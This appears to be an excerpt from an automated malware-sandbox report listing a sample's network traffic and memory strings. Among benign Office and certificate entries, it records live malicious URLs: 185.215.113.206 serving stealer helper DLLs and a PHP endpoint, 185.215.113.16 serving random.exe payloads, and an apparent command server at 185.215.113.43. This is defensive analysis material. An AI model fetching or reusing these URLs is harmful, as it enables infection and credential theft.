Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/d
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3322413463.000000000109F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe0(
Source: skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5151001
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6#)
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe=(
Source: skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeR
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395edX(1
Source: skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehp
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ons
Source: file.exe, 00000000.00000002.2599848202.0000000000BD5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllf
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllh
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllF
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllZ
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll;
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllT
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/B
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.)
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW=w/
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2599848202.0000000000BD5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpre
Source: file.exe, 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206a
Source: file.exe, 00000000.00000002.2599848202.0000000000BD5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9F
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpAFz
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpYFb
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi-F
Source: skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpiFR
Source: skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_481.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
